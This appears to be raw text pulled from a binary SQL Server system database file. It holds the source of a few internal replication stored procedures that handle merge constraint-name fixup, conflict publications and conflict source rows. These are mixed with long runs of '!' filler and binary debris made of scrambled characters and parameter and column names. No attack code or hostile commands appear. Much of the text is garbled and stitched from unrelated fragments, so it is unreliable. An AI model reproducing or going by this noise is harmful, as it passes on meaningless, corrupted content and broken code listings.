		EXEC [msdb].[dbo].[sp_syspolicy_dispatch_event] @event_data = @event_data, @synchronous = 1
	END'


	EXEC sp_executesql @statement

	RETURN (0)
0s 8--
-- Name: sp_MSmergefixup_constraints_name
--
-- Owner: QunGuo
--
-- Description: this is a helper procedure which is used by ddl trigger to 
--		handle the condition where user did not provide explicit constraint
--		name, by retrieving constraint name from system catelog view 
--		it covers CHECK, UNIQUE, FOREIGN KEY, and works off  
--		prepopulated #merge_altertable table
--
-- Parameter: 
--
-- Returns: 1 or 0   0 = success
--
-- Security: internal, not exposed
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSmergefixup_constraints_name
(
--pass in these constant from caller, so we don't have define them everwhere
    @schemasubtype_addun int
    ,@schemasubtype_addfk int
    ,@schemasubtype_addchk int
    ,@objid int
    ,@debug_print bit = 0
)
as
begin 
	declare @colname nvarchar(512) 
					,@typeid nvarchar(32)
					,@modified_date datetime
					,@row_id int
					,@type_mask int
					,@done_mask int
	declare @subtype_addfk int
			,@subtype_addun int
			,@subtype_addchk int

	begin tran fixup_constraints_name
	save tran fixup_constraints_name

    set @subtype_addun = 0x8   --N'ADDUNIQUE'
    set @subtype_addfk = 0x4   --N'ADDREFERENCE'
    set @subtype_addchk = 0x10	--N'ADDCHECK'
                                                            
	set @done_mask = @subtype_addun | @subtype_addfk | @subtype_addchk
	DECLARE #fkcursor CURSOR LOCAL FAST_FORWARD for
		select name, type, modify_date  from sys.key_constraints
					where parent_object_id = @objid and 
						type = 'UQ' collate database_default
		union
		select name, type, modify_date from sys.foreign_keys	
					where parent_object_id = @objid
		union
		select name, type, modify_date from sys.check_constraints
					where parent_object_id = @objid
		order by modify_date desc

	open #fkcursor
	fetch #fkcursor into @colname, @typeid, @modified_date 
	while @@fetch_status <> -1
	begin
		if @debug_print = 1
			select 'stage' = 'sp_MSmergefixup_constraints_name:query'
									,'@colname' = @colname
									,'@typeid' = @typeid
									,'@modified_date' = @modified_date
									,'@type_mask' = @type_mask
									,'@done_mask' = @done_mask

		set @row_id = NULL
		select top 1 @row_id = id
					from #merge_altertable where 
						schemasubtype = case @typeid when N'UQ' then @schemasubtype_addun
																		when N'F' then @schemasubtype_addfk
																		when N'C' then @schemasubtype_addchk
																		end
						and len(isnull(ColumnName, '')) = 0 order by id desc

		if @row_id is null
		begin
			--exit if we've finished processing all empty names for un/fk/chk
			if (@type_mask & @done_mask) = @done_mask
				break
			else
				select @type_mask = @type_mask | 
													case @typeid when N'UQ' then @schemasubtype_addun
																		when N'F' then @schemasubtype_addfk
																		when N'C' then @schemasubtype_addchk
																		end
		end
		else
		begin
			if @debug_print = 1
				select 'stage' = 'sp_MSmergefixup_constraints_name:update'
										,'@row_id' = @row_id
										, * from #merge_altertable where id = @row_id

			update #merge_altertable set ColumnName = @colname where id = @row_id
			if @@error > 0
				goto FAILURE
		end

			fetch #fkcursor into @colname, @typeid, @modified_date 
	end
	close #fkcursor
	deallocate #fkcursor

	if @debug_print = 1
		select 'stage' = 'sp_MSmergefixup_constraints_name:exit'
								,'comments' = 'un/fk/chk name filled'
								,* from #merge_altertable

	commit tran fixup_constraints_name
	return 0
FAILURE:
	close #fkcursor
	deallocate #fkcursor
	rollback tran fixup_constraints_name
	commit tran
	return 1

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>`<J	>0}w T	8create procedure sys.sp_MShelptranconflictpublications (
    @publication_type   sysname = 'queued' )        -- '%'==ALL | 'queued' | 'p2p'
as
begin
    set nocount on
    declare @merge_pub_id uniqueidentifier
    declare @cftpublications table ( publication sysname collate database_default, t_pub_id integer, s_agent_id integer, publication_type sysname collate database_default)
    select @publication_type = lower(@publication_type)
    --
    -- validate
    --
    if (@publication_type  NOT IN ('%', 'queued', 'p2p'))
    begin
        raiserror(21402, 16, 1, '@publication_type')
        return (1)
    end
    --
    -- process publisher info
    --
    if exists (select * from sys.objects where name = 'syspublications')
    begin
		if(@publication_type in ('%', 'queued'))
		begin
        insert into @cftpublications(publication, t_pub_id, publication_type)
            select name, pubid, N'queued' from syspublications where allow_queued_tran = 1
        if (@@error != 0)
        begin
            raiserror(21499, 16, 1, 'sp_MShelptranconflictpublications', 'populate', '@cftpublications', @@error)
            return (1)
        end
		end
		if(@publication_type in ('%', 'p2p'))
		begin
        insert into @cftpublications(publication, t_pub_id, publication_type)
            select name, pubid, N'p2p' from syspublications where options & 0x8 = 0x8
        if (@@error != 0)
        begin
            raiserror(21499, 16, 1, 'sp_MShelptranconflictpublications', 'populate', '@cftpublications', @@error)
            return (1)
        end
		end
    end
    --
    -- process subscriber info
    --
    if exists (select * from sys.objects where name = 'MSsubscription_agents')
		and @publication_type in ('%', 'queued')
    begin
        insert into @cftpublications(publication, s_agent_id)
            select publication, id from MSsubscription_agents where update_mode in (2,3,4,5)
    end
    --
    -- now do a select on the temp table
    --
    select  'name'              = publication,
            'publication_type'  = publication_type,
            'merge_pub_id'      = @merge_pub_id,
            'tran_pub_id'       = t_pub_id,
            'sub_agent_id'      = s_agent_id
    from @cftpublications            
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`@
\<5?0ka0h[G i8create procedure sys.sp_MSgettrancftsrcrow 
( 
    @tran_id sysname,
    @row_id sysname,                    -- cannot be NULL
    @conflict_table nvarchar(270),   -- owner qualified table name - [owner].[tabname]
    @is_subscriber bit,                    -- Publisher = 0, Subscriber = 1
    @is_debug bit=0 
)
as 
begin
    set nocount on
    declare @decllist nvarchar(4000)
            ,@sellist nvarchar(4000)
            ,@wherelist nvarchar(4000)
            ,@cmd nvarchar(4000)
            ,@cmdrow nvarchar(4000)
            ,@srctable sysname
            ,@srctabid int
            ,@srcowner sysname
            ,@indid int
            ,@indkey int
            ,@key sysname
            ,@this_col int
            ,@col sysname
            ,@typestring nvarchar(60)
            ,@dbname sysname
            ,@retcode int
            ,@unqualified_cft_tab sysname
            ,@startoffset int
            ,@artid int
            ,@publication sysname
    declare @decltext table ( c1 int identity NOT NULL, cmdtext nvarchar(4000) collate database_default null)
    declare @seltext table ( c1 int identity NOT NULL, cmdtext nvarchar(4000) collate database_default null)
    declare @wheretext table ( c1 int identity NOT NULL, cmdtext nvarchar(4000) collate database_default null)

    --
    -- validate input
    --
    if ((@tran_id is null) or (@row_id is null) or 
        (@conflict_table is null) or (@is_subscriber is null))
    begin
        raiserror(14043, 16, 1, '@tran_id or @row_id or @conflict_table or @is_subscriber', 'sp_MSgettrancftsrcrow')
        return (1)
    end
    --
    -- check if the conflict table is owner qualified
    --
    select @startoffset = charindex(N'].[', @conflict_table, 0)
    select @unqualified_cft_tab = case when (@startoffset > 0) 
        then substring(@conflict_table, @startoffset + 2, len(@conflict_table) - @startoffset - 1)
        else quotename(@conflict_table) end        
    --
    -- get the source table info, publication name
    --
    if (@is_subscriber = 1)
    begin
        --
        -- we are on subscriber
        --
        select @srcowner = sart.owner, @srctable = sart.dest_table 
            ,@srctabid = OBJECT_ID(sart.dest_table)
            ,@publication = sagnt.publication
        from (MSsubscription_articles as sart join MSsubscription_agents as sagnt 
                on sart.agent_id = sagnt.id)
        where quotename(sart.cft_table) = @unqualified_cft_tab
    end
    else
    begin
        --
        -- we are on publisher
        --
        select @srcowner = schema_name(OBJECTPROPERTY(a.objid,'SchemaId'))
            ,@srctable = OBJECT_NAME(a.objid)
            ,@srctabid = a.objid, @artid = a.artid
            ,@publication = p.name
        from ((sysarticles a join sysarticleupdates b 
            on a.pubid = b.pubid 
            and a.artid = b.artid) join syspublications p 
                on a.pubid = p.pubid)
        where b.conflict_tableid = OBJECT_ID(@conflict_table)
    end
    --
    -- Do PAL security check
    --
    exec @retcode = sys.sp_MSreplcheck_pull @publication = @publication
    if @retcode <> 0 or @@error <> 0
        return (1)
    --
    -- create code for the following :
    -- select the row of conflict with given tranid and insertdate
    -- retrieve the values of the PK/UI columns for the source table from this row in cft_table
    -- select all columns from source table using the values in a where clause for PK/UI
    --

    --
    -- PK/UI check for source table
    --
    exec @indid = sys.sp_MStable_has_unique_index @srctabid
    if (@indid = 0)
    begin
        raiserror(21750, 16, 1, @srctable)
        return (1)
    end
    --
    -- walk through each column in PK/UI and build parts of code
    --
    select @indkey = 1
    while (@indkey <= 16)
    begin   
		select @key = index_col(quotename(@srcowner) + N'.' + quotename(@srctable), @indid, @indkey)
        if (@key is null)
        begin
            select @indkey = 16
        end
        else
        begin
            --
            -- get the column index in the source table for this index key
            --
            exec sys.sp_MSget_col_position @srctabid, @artid, @key, @col output, @this_col output
            --
            -- get the typestring for this column in source table
            --
            select @typestring = sys.fn_gettypestring(@srctabid, @this_col, 1, 0, 0, 0, 1, 0, 0, 0, 0) -- LUDT+Spatial merge conflict trigger 
            --
            -- build command strings
            --
            if (@decllist is NULL)
                select @decllist = N'declare @' + @col + N' ' + @typestring
            else
                select @decllist = N' ,@' + @col + N' ' + @typestring
            
            if (@sellist is NULL)
                select @sellist = N'select @' + @col + N' = ' + quotename(@key)
            else
                select @sellist = N' ,@' + @col + N' = ' + quotename(@key)
                
            if (@wherelist is NULL)
                select @wherelist = N'where ' + quotename(@key) + N' = @' + @col
            else
                select @wherelist = N' and ' + quotename(@key) + N' = @' + @col
            --
            -- store them in the temp tables
            --
            insert into @decltext(cmdtext) values(@decllist)
            insert into @seltext(cmdtext) values(@sellist)
            insert into @wheretext(cmdtext) values(@wherelist)
        end
        select @indkey = @indkey + 1
    end
    --
    -- Now put all the code in order in the codetext
    --
    create table #MSsrcrow_codetext ( step int identity NOT NULL, cmdtext nvarchar(4000) NULL)

    insert into #MSsrcrow_codetext(cmdtext)
        select cmdtext from @decltext order by c1
    insert into #MSsrcrow_codetext(cmdtext) values (N' ')
    insert into #MSsrcrow_codetext(cmdtext)
        select cmdtext from @seltext order by c1
    select @cmd = N' 
    from ' 

    if (@startoffset > 0)
        select @cmd = @cmd + @conflict_table
    else
        select @cmd = @cmd + quotename(@srcowner) + N'.' + @unqualified_cft_tab
        
    select @cmd = @cmd + N'
    where tranid = ''' + @tran_id + ''' and qcfttabrowid = ''' + @row_id + ''' '
    insert into #MSsrcrow_codetext(cmdtext) values (@cmd)
    select @cmd = N'select * from ' + quotename(@srcowner) + N'.' + quotename(@srctable) + N' '
    insert into #MSsrcrow_codetext(cmdtext) values (@cmd)
    insert into #MSsrcrow_codetext(cmdtext)
        select cmdtext from @wheretext order by c1
    --
    -- now execute the code we just built
    --
    if (@is_debug = 0)
    begin
        select @cmd = N'select cmdtext from #MSsrcrow_codetext order by step'
                 ,@dbname = db_name()
        exec @retcode = sys.xp_execresultset @cmd, @dbname
        if (@@error != 0 or @retcode != 0)
        begin
            raiserror(21465, 16, 1, 'xp_execresultset')
            return (1)
        end
    end
    else
        select cmdtext from #MSsrcrow_codetext order by step 

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`c-(R)b@7BF]0-144I@validsubs0-?MA@login0-?M88
I@hasaccess0-o]waiting_task_address0-o44Isession_id0-o88
Sexec_context_id0-oUwait_duration_ms0-ox4xGwait_type0-oUresource_address0-o_blocking_task_address0-o44[blocking_session_id0-o	88
eblocking_exec_context_id0-o
4]resource_description0-Afa@fulltext_catalog_name0-sS@procedure_name0-s88
O@group_number0-sW@procedure_schema0-sS@parameter_name0-sW@procedure_schema0-sS@parameter_name0-1hhE@subside0-U}==Ktime_queued0-U}88
Ajob_id0-U}88
Kdatabase_id0-U}88
Iobject_id10-U}88
Iobject_id20-U}88
Iobject_id30-U}88
Iobject_id40-U}88
Ierror_code0-U}	44Mrequest_type0-U}
44Kretry_count0-U}44Kin_progress0-U}44Isession_id0-FM@publication0-FE@article0-FhhS@for_subscriber0-FhhA@alter0-M@publication0-E@article0-88
A@objid0-00G@proctype0-hhK@fdodeclare0-/W@qual_object_name0-/88
A@objid0-/_@pass_through_scripts0-/ K@objecttype0-'7M@publication0-'7E@article0-'7K@subscriber0-'7S@destination_db0-'788
A@found0-'7I@publisher-hh0-I@win_login0-VԴI@publisher0-VԴA@owner0-VԴA@table0-VԴK@columnmask0-VԴI@rowfilter0-VԴS@publisher_type0-C88
G@agent_id0-C88
K@agent_type0-CO@profile_name0-yI@publisher0-yO@publisher_db0-yM@publication0-yK@xact_seqno0-aE@name_in0-aG@name_out0-Ũ$$A@pubid0-ŨM@column_list0-Ũ88
O@source_objid0-ŨK@guid_alias0-Ũhh}@include_logical_record_link_columns0-BM@publication0-B88
A@found0-B$$S@publication_id0-B(G@reserved0-BI@publisher0-BO@publisher_db0-$$A@pubid0-hh_@upload_before_reinit!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!],Or'

0
9]7

i\

	y	0	U5FMX{(<|,3Zq06`-H?)%]Ag0-P;G@col_type0-P;A@scope0-P;G@nullable0-P;88
E@ODBCVer0-|QM@publication0-|QI@publisher0-|QM@publisherDB0-|Q88
I@anonymous0-|Q88
I@sync_type0-|QhhI@preexists0-܍VM@publication0-܍VE@article0-܍V88
G@proctype0-p]OTABLE_CATALOG0-p]MTABLE_SCHEMA0-p]ITABLE_NAME0-p]KCOLUMN_NAME0-p]88
UORDINAL_POSITION0-p]@@QCOLUMN_DEFAULT0-p]KIS_NULLABLE0-p]GDATA_TYPE0-p]	88
eCHARACTER_MAXIMUM_LENGTH0-p]
88
aCHARACTER_OCTET_LENGTH0-p]00WNUMERIC_PRECISION0-p]44cNUMERIC_PRECISION_RADIX0-p]
88
ONUMERIC_SCALE0-p]44YDATETIME_PRECISION0-p]_CHARACTER_SET_CATALOG0-p]]CHARACTER_SET_SCHEMA0-p]YCHARACTER_SET_NAME0-p]WCOLLATION_CATALOG0-p]UCOLLATION_SCHEMA0-p]QCOLLATION_NAME0-p]QDOMAIN_CATALOG0-p]ODOMAIN_SCHEMA0-p]KDOMAIN_NAME-nyf0-nyfG@password0-f88
Kpdw_node_id0-fGwait_name0-fOmax_wait_time0-fOrequest_count0-fKsignal_time0-fScompleted_count0-fGwait_time0-	~{88
A@objid0-	~{88
A@artid0-	~{88
C@indent0-	~{O@identity_col0-	~{C@ts_col0-	~{[@primary_key_bitmap0-	~{hhO@fisqueuedpub0-8GM@queueserver0-8GE@queueid0-
zM@publication0-
z@M@description0-RφI@job_login0-RφO@job_password0-RφhhQ@frompublisher0-7c$$A@repid0-e$$A@artid0-e88
A@obj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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!R|9f%

@
[|;M

\

	W	B9s,;Z2W
ts&/`x-2)~Bl&|20-ʈdP4PWresource_group_id0-ʈd88
cfailure_condition_level0-ʈd88
]health_check_timeout0-ʈd00kautomated_backup_preference0-ʈdx4xuautomated_backup_preference_desc0-a88
A@objid0-a88
K@tran_artid0-a88
W@tran_pub_options0-aW@qual_dest_object0-ae@qual_p2p_conflict_table0-a88
]@checkpartition_mask0-a88
S@checkadds_mask0-a88
[@subtype_dropcolumn0-a	88
c@subtype_dropconstraint0-a
88
a@subtype_enabletrigger0-a88
c@subtype_disabletrigger0-a88
g@subtype_enableconstraint0-a
88
i@subtype_disableconstraint0-a88
Q@subtype_addfk0-a88
]@subtype_altercolumn0-ahh[@drop_defaults_only0-aK@dest_owner0-ahhM@debug_print0-(88
A@objid0-(88
I@threshold0-(A@range0-(I@next_seed0-E@objname0-K@futureonly0-NQDOMAIN_CATALOG0-NODOMAIN_SCHEMA0-NKDOMAIN_NAME0-NGDATA_TYPE0-N88
eCHARACTER_MAXIMUM_LENGTH0-N88
aCHARACTER_OCTET_LENGTH0-NWCOLLATION_CATALOG0-NUCOLLATION_SCHEMA0-N	QCOLLATION_NAME0-N
_CHARACTER_SET_CATALOG0-N]CHARACTER_SET_SCHEMA0-NYCHARACTER_SET_NAME0-N
00WNUMERIC_PRECISION0-N44cNUMERIC_PRECISION_RADIX0-N88
ONUMERIC_SCALE0-N44YDATETIME_PRECISION0-N@@QDOMAIN_DEFAULT0-M@publication0-Al$$A@pubid0-Al88
I@tablenick0-AlM@column_name!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!PG

2
5o(

=
		d	#	LI(dS:WGw`^-d[)C&$ɒ}0-IɠE@tran_id0-IɠC@row_id0-IɠS@conflict_table0-g*crequest_context_address0-g*44Mcurrent_spid0-g*x4xMrequest_type0-g*x4xOrequest_state0-g*88
Irequest_id0-g*88
Airp_id0-g*88
Ghandle_id0-g*Uclient_thread_id0-g*	Wclient_process_id0-g*
ahandle_context_address0-g*gfilestream_transaction_id0-镧M@publication0-镧I@publisher0-ҧM@publication0-ҧE@article0-ҧG@procname0-ҧ88
O@source_objid0-ҧ88
A@artid0-ҧhhA@alter0-I@publisher0-88
g@publisher_engine_edition0-ʎM@publication0-ʎE@article0-ʎK@subscriber0-ʎS@destination_db0-ʎI@sync_type0-ʎC@status0-ʎY@subscription_type0-ʎ<M@update_mode0-ʎ	
[@loopback_detection0-ʎ
88
S@frequency_type0-ʎ88
[@frequency_interval0-ʎ88
m@frequency_relative_interval0-ʎ
88
m@frequency_recurrence_factor0-ʎ88
W@frequency_subday0-ʎ88
i@frequency_subday_interval0-ʎ88
g@active_start_time_of_day0-ʎ88
c@active_end_time_of_day0-ʎ88
Y@active_start_date0-ʎ88
U@active_end_date0-ʎ@a@optional_command_line0-ʎG@reserved0-ʎ
]@enabled_for_syncmgr0-ʎW@dts_package_name0-ʎ_@dts_package_password0-ʎ_@dts_package_location0-ʎa@distribution_job_name0-ʎI@publisher0-ʎS@publisher_type0-ʎ00]@subscriptionstreams0-ʎ00U@subscriber_type0-ʎ88
A@pubid0-ʎ hhO@non_sql_flag0-ʎ!U@publisher_local0-ʎ"hhS@immediate_sync0-ʎ#44A@srvid0-ʎ$hh_@independent_agent_id0-ʎ%88
e@dts_package_location_id0-ʎ&hh_@immediate_sync_ready0-ʎ'00M@sync_method0-ʎ(88
_@subscription_type_id0-ʎ)00I@pubstatus0-ʎ*hhU@allow_anonymous0-ʎ+00S@update_mode_id0-4
@qualified_procedure_execution_object_name0-4hhi@is_repl_serializable_only0-TM@publication0-TE@article0-T<M@update_mode0-TI@publisher0-TS@publisher_type0-TY@nvarcharmaxscript0-@g@@Irequest_id0-@g@@Isession_id0-@g@@Astatus0-@g==Ksubmit_time0-@g==Istart_time0-@g==Uend_compile_time0-@g==Eend_time0-@g88
Ytotal_elapsed_time0-@g	?label0-@g
HHEerror_id0-@g88
Kdatabase_id0-@g@@Ccommand0--̲I@publisher0--̲O@publisher_db0--̲M@publication0--̲$$C@job_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!*[hJUz-;J?{:CPS>9

(
X'
y

	x	5	N	RmU;beX8;`-
;)
DFN0-88
Malgorithm_id0-x4xOalgorithm_tag0-4Ekey_type0-88
Ikey_length0-88
K@ProviderId0-S
;@qv0-44O@publisher_id0-O@publisher_db0-E@xact_id0-K@xact_seqno0-K@originator0-Q@originator_db0-88
K@article_id0-88
K@command_id0-	88
?@type0-
hhU@partial_command0-E@command0-I@publisher0-I@publisher0-ЅK@table_name0-ЅM@table_owner0-88
Mgroup_handle0-Sunique_compiles0-Iuser_seeks0-Iuser_scans0-==Qlast_user_seek0-==Qlast_user_scan0->>5[avg_total_user_cost0->>5Savg_user_impact0-	Msystem_seeks0-
Msystem_scans0-==Ulast_system_seek0-==Ulast_system_scan0-
>>5_avg_total_system_cost0->>5Wavg_system_impact0-?@type0-A@value0-M@publication0-E@article0-$MI@publisher0-$MU@distribution_db0-$M88
Q@security_mode0-$MA@login0-$MG@password0-T.88
G@agent_id0-T.88
K@agent_type0-T.88
S@publication_id0-T.hhY@raise_fatal_error0-88
I@object_id0-hh?@mode0-(G@job_type0-y_A@owner0-y_I@tablename0-y_88
?@nick0-Y M@publication0-Y E@article0-Y 88
K@base_objid0-Y 88
K@join_objid0-Y 88
M@join_uniqued_name0-/4ENodeName0-/88
Astatus0-/Ystatus_description0-/hhUis_current_owner0-/88
Kpdw_node_id0-`4M@publication0-`4E@article0-JcY88
Kpdw_node_id0-JcY88
Mcomponent_id0-JcY_component_instance_id0-JcY88
Ealert_id0-JcYHHWalert_instance_id0-JcYQprevious_value0-JcYOcurrent_value0-JcY==Kcreate_time0-_^Q@source_object0-_^C@column0-_^88
K@from_agent0-_^@_@schema_change_script0-_^hhi@force_invalidate_snapshot0-_^hhi@force_reinit_subscription0-_nM@server_name0-rQ@database_name0-r88
G@alert_id0-T.88
G@agent_id0-T.88
K@agent_type0-T.88
S@publication_id0-T.hhY@raise_fatal_error-Zhh0-Z$$G@agent_id0-Z00K@agent_type0-88
I@object_id0-hh?@mode0-z88
I@object_id0-z88
W@source_object_id0-zW@capture_instance0-z
I@start_lsn0-zhh_@supports_net_changes0-zI@role_name0-zK@index_name0-zS@filegroup_name0-z	==M@create_date0-z
hhS@is_partitioned0-(G@job_type0-y_A@owne1
Jo.

9
		B	G\sv+N&Ip%>_]

x
>A`
-8)V:EZ50-]
88
Ybuckets_min_length0-]
88
Ybuckets_max_length0-]
	88
Ybuckets_avg_length0-]

88
cbuckets_max_length_ever0-]
